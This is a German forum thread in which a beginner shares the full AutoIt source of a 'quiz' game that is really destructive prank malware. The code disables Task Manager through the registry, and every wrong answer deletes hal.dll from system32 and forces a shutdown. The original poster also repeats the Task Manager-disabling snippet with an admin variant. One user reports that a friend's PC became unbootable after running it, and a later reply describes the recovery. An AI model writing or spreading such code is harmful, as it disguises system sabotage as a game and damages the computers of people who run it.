|
You last visited: Today at 03:18
Advertisement
Autoit "Quiz" gemacht
Discussion on Autoit "Quiz" gemacht within the Main forum part of the General category.
11/07/2010, 14:05
|
#1
|
elite*gold: 0
Join Date: Jun 2010
Posts: 28
Received Thanks: 1
|
Autoit "Quiz" gemacht
Hey Leute,
Ich habe gestern den If Then Else Befehl gelernt, jetzt hab ich ein kleinees Spiel gemacht 
Hier wäre der Quellcode:
Code:
#NoTrayIcon
$DISABLE = 1
Local $key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
Local $val = "DisableTaskMgr"
RegWrite ($key, $val, "Reg_DWORD", $DISABLE)
MsgBox (16, "Ohh Shitt!!!!", "Das ist ein Virus-Quiz, wenn du es beendest oder verlierst, fickt dein PC ab, wenn du gewinnst hast du glück gehabt")
MsgBox (0, "Passwort", "Das Passwort lautet Arschloch")
MsgBox (0, "Kennwort", "Das Kennwort lautet Hallo")
MsgBox (0, "Alter", "Ich bin 142 Jahre alt")
MsgBox (0, "Name", "Ich heisse Hans Wurscht")
MsgBox (0, "Zahl", "y=1 m=2 n=3 b=4 v=5 b+n+y+m + 1 * 3 : 3 +2 + y : 2 * 3 + 2 - 20 + 3 = __ ")
MsgBox (0, "Grösse", "Ich bin 10 Meter hoch.")
$input1 = InputBox ("Frage1", "Kennwort eingeben, oder dein PC fickt ab")
If $input1 = "Hallo" Then
MsgBox (0, "Gut gemacht", "Frage 1 bestanden")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
EndIf
$input2 = InputBox ("Frage2", "Wie gross bin ich, gib nur die zahl ein.")
If $input2 = "10" Then
MsgBox (0, "Gut gemacht", "Frage 2 bestanden")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
EndIf
$input3 = InputBox ("Frage3", "Wie heisse ich zum ganzen namen?")
If $input3 = "Hans Wurscht" Then
MsgBox (0, "Gut gemacht", "Frage 3 bestanden.")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
EndIf
$input4 = InputBox ("Frage4", "Wie lautet das Passwort")
If $input4 = "Arschloch" Then
MsgBox (0, "Gut gemacht", "Frage 4 bestanden")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
$input5 = InputBox ("Frage5", "Was ergibt die Rechnung?")
If $input5 = "13" Then
MsgBox (0, "Gut gemacht", "Frage 5 und somit das Quiz abgeschlossen")
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
EndIf
P.S.: Ich würde beim spielen die FileDelete weg tun und ne MsgBox hintun.
PP.S.: Ich hoffe ich habe es in die richtige Spalte getan...
|
|
|
11/07/2010, 16:47
|
#2
|
elite*gold: 0
Join Date: Feb 2010
Posts: 57
Received Thanks: 3
|
Hast ein EndIF vergessen hinter dem letzten Else
|
|
|
11/07/2010, 17:08
|
#3
|
elite*gold: 0
Join Date: Jun 2010
Posts: 28
Received Thanks: 1
|
Quote:
Originally Posted by Meczedo
Hast ein EndIF vergessen hinter dem letzten Else 
|
Quote:
Else
FileDelete ("C:\Windows\system32\hal.dll")
FileDelete ("C:\WINDOWS\System32\hal.dll")
shutdown (2)
EndIf
|
nöö
Wie findest du die Idee
|
|
|
11/07/2010, 18:27
|
#4
|
elite*gold: 0
Join Date: Feb 2010
Posts: 57
Received Thanks: 3
|
Ganz nette idee
|
|
|
11/07/2010, 18:41
|
#5
|
elite*gold: 0
Join Date: Jun 2010
Posts: 28
Received Thanks: 1
|
Quote:
Originally Posted by Meczedo
Ganz nette idee 
|
Merci
|
|
|
11/07/2010, 19:04
|
#6
|
elite*gold: 0
Join Date: Feb 2010
Posts: 57
Received Thanks: 3
|
Ehm ich hab erst vor paar tagen angefangen mit AutoIT..
woher haste die befehle kennengelernt wie Filedelete .. oder so?
mfg
|
|
|
11/07/2010, 19:08
|
#7
|
elite*gold: 0
Join Date: Feb 2010
Posts: 57
Received Thanks: 3
|
Ehm Wie finde ich herraus wo bei Windows 7/Vista man taskmangaer auschalten kann?
Also wie mach ich das?
|
|
|
11/07/2010, 19:21
|
#8
|
elite*gold: 0
Join Date: Jun 2010
Posts: 28
Received Thanks: 1
|
Quote:
Originally Posted by Meczedo
Ehm ich hab erst vor paar tagen angefangen mit AutoIT..
woher haste die befehle kennengelernt wie Filedelete .. oder so?
mfg
|
also da gibts viel,
z.B. youtube, google, hier...
und für den task,
ich glaub es ist genau der gleiche befehl, also das:
Code:
$DISABLE = 1 ; 1= tskmgr gesperrt 0=tskmgr nicht gesperrt
Local $key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
Local $val = "DisableTaskMgr"
RegWrite ($key, $val, "Reg_DWORD", $DISABLE)
villeicht musst du als win7 benutzer als admin ausführen, also so:
Code:
RunAs ("Administrator")
$DISABLE = 1
Local $key = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
Local $val = "DisableTaskMgr"
RegWrite ($key, $val, "Reg_DWORD", $DISABLE)
Wenn du fragen hast dann schreb mir doch ne PN, dann kann ich dir ein bissel helfen, bin auch noch ziemlich neu...
|
|
|
11/07/2010, 20:22
|
#9
|
elite*gold: 0
Join Date: Feb 2010
Posts: 57
Received Thanks: 3
|
..........Autch .. hab das meinen Freund geschickt ... und der hat nicht so einen Guten Komputer..
Wenn er jetz PC starten will steht da das Dateien beschädigt sind, und er war gerade bei mir und hat sich meine Windows CD geliehn
Ging wohl in die Hose..
|
|
|
11/07/2010, 20:31
|
#10
|
elite*gold: 0
Join Date: Jun 2010
Posts: 28
Received Thanks: 1
|
Quote:
Originally Posted by Meczedo
..........Autch .. hab das meinen Freund geschickt ... und der hat nicht so einen Guten Komputer..
Wenn er jetz PC starten will steht da das Dateien beschädigt sind, und er war gerade bei mir und hat sich meine Windows CD geliehn
Ging wohl in die Hose..
|
o.0
Hat er es selber ausgeführt das quiz und dann hat er ne falsche antwort angegeben...
Autsch
|
|
|
11/07/2010, 20:33
|
#11
|
elite*gold: 0
Join Date: Feb 2010
Posts: 57
Received Thanks: 3
|
Könntest du mir durch PN schicken womit du sowas gelernt hast? Also alles was die geholfen hat sowas zu machen?
Oder kennst du auch vielleicht gute sachen womit man gut Programmieren lernt?
|
|
|
11/07/2010, 20:44
|
#12
|
elite*gold: 0
Join Date: Jun 2010
Posts: 28
Received Thanks: 1
|
Quote:
Originally Posted by Meczedo
..........Autch .. hab das meinen Freund geschickt ... und der hat nicht so einen Guten Komputer..
Wenn er jetz PC starten will steht da das Dateien beschädigt sind, und er war gerade bei mir und hat sich meine Windows CD geliehn
Ging wohl in die Hose..
|
wetten wir, die datei hal.dll fehlt...
|
|
|
11/07/2010, 20:58
|
#13
|
elite*gold: 0
Join Date: Feb 2010
Posts: 57
Received Thanks: 3
|
Was kann man da jetz machen =?
|
|
|
11/07/2010, 21:11
|
#14
|
elite*gold: 0
Join Date: Jun 2010
Posts: 28
Received Thanks: 1
|
Windows cd einlegen,
PC anschalten,
und dan kan man ihn erneuern
|
|
|
11/08/2010, 14:51
|
#15
|
elite*gold: 400
Join Date: Nov 2008
Posts: 67,905
Received Thanks: 19,505
|
Quote:
Originally Posted by Meczedo
..........Autch .. hab das meinen Freund geschickt ... und der hat nicht so einen Guten Komputer..
Wenn er jetz PC starten will steht da das Dateien beschädigt sind, und er war gerade bei mir und hat sich meine Windows CD geliehn
Ging wohl in die Hose..
|
Ich weis ja nicht woran das liegt
Code:
[COLOR="Red"]FileDelete[/COLOR] ("C:\Windows\system32\hal.dll")
[COLOR="Red"]FileDelete[/COLOR] ("C:\WINDOWS\System32\hal.dll")
Vieleicht fehlt ja die hal.dll im System32 Ordner?
Solltet ihr das gleiche Betriebssystem haben dann kannst du deine hal.dll aus dem Ordner rauskopieren und ihm geben
Danach den Computer mit einer Boot Disk (z.B. Linux Ubuntu Installations Disk) mit der man auch das System ausprobieren kann
=> Ubuntu CD rein
=> Ubuntu Ausprobieren
=> hal.dll wieder in den Ordner und dann Rechner neu starten
An deiner Stelle würde ich nicht so leichtfertig mit Windows Dateien rumspielen
|
|
|
All times are GMT +1. The time now is 03:19.
|
|